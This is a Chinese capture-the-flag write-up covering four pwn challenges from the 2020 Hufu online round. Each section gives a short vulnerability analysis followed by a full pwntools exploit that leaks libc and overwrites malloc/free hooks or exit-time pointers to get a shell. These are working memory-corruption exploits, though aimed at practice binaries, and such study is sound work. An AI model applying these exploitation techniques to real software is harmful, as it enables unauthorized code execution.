虎符2020的线上赛部分Pwn题WP,报名被Pass了,只能从其他师傅那里要题
MarksMan
程序给了libc地址,以及存在一个任意地址写三字节,通过测试,程序在exit的时候会调用_rtld_global结构中的_dl_rtld_lock_recursive或者_dl_rtld_unlock_recursive处的指针,又由于字节过滤不严谨,只要修改后三个字节为rce并确定存在rce满足条件的即可getshell,0x4F2C5此偏移本地通,远程不通,换成0x10A38C打,利用shellcode滑行的技巧,将0x10A38C-5绕过过滤,且可以概率getshell
1 | from pwn import* |
2 | from LD import* |
3 | p = remote('node3.buuoj.cn',25519) |
4 | libc = ELF('./libc-2.27.so',checksec=False) |
5 | p.recvuntil('near: ') |
6 | libc_base = int(p.recv(14),16) - libc.sym['puts'] |
7 | log.info('LIBC:\t' + hex(libc_base)) |
8 | p.recvuntil('shoot!shoot!\n') |
9 | fake = libc_base + 0x81DF68 - 8 |
10 | p.sendline(str(fake)) |
11 | rce = libc_base + 0x10A38C - 5 |
12 | off = [rce&0xFF,(rce>>8)&0xFF,(rce>>16)&0xFF] |
13 | log.info('RCE:\t' + hex(rce)) |
14 | for i in range(3): |
15 | p.sendline(p8(off[i])) |
16 | p.interactive() |
下载
Count
arm结构的题,搭建好qemu环境即可调试,题目很简单,不需要本地调试,直接利用IDA F5查看伪C代码即可写EXP
200次输入正确结果,利用python里面的eval函数即可自动计算结果,然后通过溢出覆盖目标变量的值即可getshell
1 | from pwn import* |
2 | p = remote('node3.buuoj.cn',29579) |
3 | context.log_level ='DEBUG' |
4 | for i in range(200): |
5 | p.recvuntil('~Math:') |
6 | equal = p.recvuntil(" = ???input answer:",drop=True) |
7 | p.sendline(str(eval(equal))) |
8 | p.recvuntil('good') |
9 | p.sendline('\x00'* 0x64 + p32(0x12235612)) |
10 | p.interactive() |
下载
SecureBox
申请空间的函数,在判断size是否大于0xFFF的时候变量强制转化成了int类型,则有整型溢出,又当申请一个很大的空间的时候,由于空间肯定不够,最终不会申请,对应的指针位置为0,则此刻有了一个朝大的size,以及指针以0为初始位置,即可实现任意写,最后将接受到的key值逆序与需要写的内容异或,通过enc函数则可往目标地址写上所需写的值
此题KALI2.30环境下打通的,由于没有Ubuntu19的环境,故无法准确的修栈,因此在KALI下打通就算了
1 | from pwn import* |
2 | from LD import* |
3 | def new(size,sign = 0): |
4 | p.sendlineafter('Exit','1') |
5 | p.sendlineafter('Size: ',str(size)) |
6 | if sign: |
7 | return |
8 | p.recvuntil('Key: \n') |
9 | |
10 | def free(idx): |
11 | p.sendlineafter('Exit','2') |
12 | p.sendlineafter('ID: ',str(idx)) |
13 | |
14 | def enc(idx,off,content): |
15 | p.sendlineafter('Exit','3') |
16 | p.sendlineafter('ID: ',str(idx)) |
17 | p.sendlineafter('Offset of msg: ',str(off)) |
18 | p.sendlineafter('Len of msg: ','16') |
19 | p.sendafter('Msg: ',content) |
20 | |
21 | def leak(idx): |
22 | p.sendlineafter('Exit','4') |
23 | p.sendlineafter('Box ID: ',str(idx)) |
24 | p.sendlineafter('Offset of msg: ','0') |
25 | p.sendlineafter('Len of msg: ','8') |
26 | p.recvuntil('Msg: \n') |
27 | |
28 | libc = ELF('./libc-2.30.so',checksec=False) |
29 | p = process('./main') |
30 | context.log_level ='DEBUG' |
31 | new(0x500) |
32 | new(0x200) |
33 | free(0) |
34 | new(0x500) |
35 | leak(0) |
36 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook'] |
37 | log.info('LIBC:\t' + hex(libc_base)) |
38 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
39 | free_hook = libc_base + libc.sym['__free_hook'] |
40 | one_gadget = [0xCB79A,0xCB79D,0xCB7A0,0xE926B, 0xE9277] #Kali 2.30 |
41 | rce = libc_base + one_gadget[3] |
42 | realloc = libc_base + libc.sym['realloc'] |
43 | new(0x7FFFFFFF00000000+0xFF0) |
44 | rand_1 =p.recv(24).replace(' ','') |
45 | rand_2 =p.recv(24).replace(' ','') |
46 | randq_1 = '' |
47 | randq_2 = '' |
48 | for i in range(15,-1,-2): |
49 | randq_1 += (rand_1[i-1] + rand_1[i]) |
50 | randq_2 += (rand_2[i-1] + rand_2[i]) |
51 | rceq = (int(randq_1,16) ^ rce)&0xFFFFFFFFFFFFFFFF |
52 | reallocq = (int(randq_2,16) ^ realloc)&0xFFFFFFFFFFFFFFFF |
53 | enc(2,str(malloc_hook-8),p64(rceq) + p64(reallocq)) |
54 | new(0x200,sign=1) |
55 | p.interactive() |
下载
Encnote
漏洞
- ENC和DEC是个Blowfish对称加解密的两个函数,其中密钥Key是随机生成的,且Key存放在堆块里面
- 漏洞位置在DEC解密的最后,相关伪代码如下如果解密出的8字节内容的高位四字节为0x867D33FB,则可以在栈上某个位置修改单个字节,然后最后一行又会往v8指针的地址上写上解密后的内容
1
if ( v6 == 0x867D33FB )
2
*(&i + (BYTE1(v5) & 0x3F)) = v5;
3
*v8 = v6 | (v5 << 32);
利用
首先释放一个块chunk1进入unsorted bins,因此会在此块的fd和bk上写上main_arena内容
修改v8指针为保存Key的堆的指针的末位字节,将保存Key值的指针迁移到之前释放的块的中 - 首先第一次修改为chunk1的bk+5的地址,此处只有一个单字节,前面7个字节均为0,然后可以从此处往后依次爆破单个字节内容,每次爆破有256种可能性(其实只需要最多3256 + 16种可能,首字节与末三位都清楚),只需要最多6256次爆破就能将libc地址爆破出来,且最后,保存Key值的指针指向了chunk1的bk位置
- 爆破出Key值,即可再次利用DEC的单字节修改,将ENC函数中保存加密后结果的指针修改为free_hook,再通过ENC函数将system地址由Blowfish解密后的字符串加密,即可实现向free_hook上写入system函数
1 | from pwn import* |
2 | from LD import* |
3 | from Crypto.Cipher import Blowfish |
4 | def new(index,size): |
5 | p.sendlineafter('Choice:','1') |
6 | p.sendlineafter('Input the id:',str(index)) |
7 | p.sendlineafter('Input the length:',str(size)) |
8 | p.sendafter('Input note price:','/bin/sh\x00') |
9 | def free(index): |
10 | p.sendlineafter('Choice:','2') |
11 | p.sendlineafter('Input the id:',str(index)) |
12 | def enc(message): |
13 | p.sendlineafter('Choice:\n','5') |
14 | p.sendafter('Please input the message:\n',message) |
15 | res = p.recvline() |
16 | return res.strip() |
17 | def dec(message): |
18 | p.sendlineafter('Choice:\n','6') |
19 | p.sendafter('Please input the message:\n',message) |
20 | def guess_key(target,key): |
21 | for i in range(0x100): |
22 | tmp = chr(i) + key |
23 | tmp = tmp.ljust(8,'\x00') |
24 | c = Blowfish.new(tmp, Blowfish.MODE_ECB) |
25 | test = c.encrypt('SSSSYYMF') |
26 | if target == test: |
27 | return chr(i)+key |
28 | def leak(): |
29 | key = "" |
30 | for i in range(6): |
31 | var = 0x0E39 + ((0x3D-i)<<24) |
32 | ret=enc(p32(0x867D33FB) + p32(var)) |
33 | dec(ret.zfill(16).decode('hex')[::-1]) |
34 | target=enc('FMYYSSSS').zfill(16) |
35 | key = guess_key(target.decode('hex'),key) |
36 | return key |
37 | def modify(target,key): |
38 | for i in range(8): |
39 | tmp = p32(0x867D33FB) + chr(0xB0-i) + chr(0x0E) + chr(0) + target[i] |
40 | c = Blowfish.new(key, Blowfish.MODE_ECB) |
41 | enc_data = c.encrypt(tmp[::-1]) |
42 | dec(enc_data[::-1]) |
43 | libc = ELF('./libc-2.23.so',checksec=False) |
44 | LD=change_ld('./main','./ld-2.23.so') |
45 | p = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'}) |
46 | #context.log_level ='DEBUG' |
47 | p = remote('node3.buuoj.cn',27397) |
48 | new(0,0x100) |
49 | new(1,0x30) |
50 | free(0) |
51 | key = leak().ljust(8,'\x00') |
52 | libc_base = u64(key) - libc.sym['__malloc_hook'] - 0x10 - 88 - 0x100 |
53 | log.info('LIBC:\t' + hex(libc_base)) |
54 | system =libc_base + libc.sym['system'] |
55 | target = p64(libc_base + libc.sym['__free_hook'])[::-1] |
56 | modify(target,key) |
57 | dec_system = (Blowfish.new(key,Blowfish.MODE_ECB)).decrypt(p64(system)[::-1]) |
58 | enc(dec_system[::-1]) |
59 | free(1) |
60 | p.interactive() |
总结
此题难度对我来说挺大的,对于常见的利用习惯了,突然加了个算法,找到洞也没有思路,最后看了WP才知道,还是TTTTTTTTTCL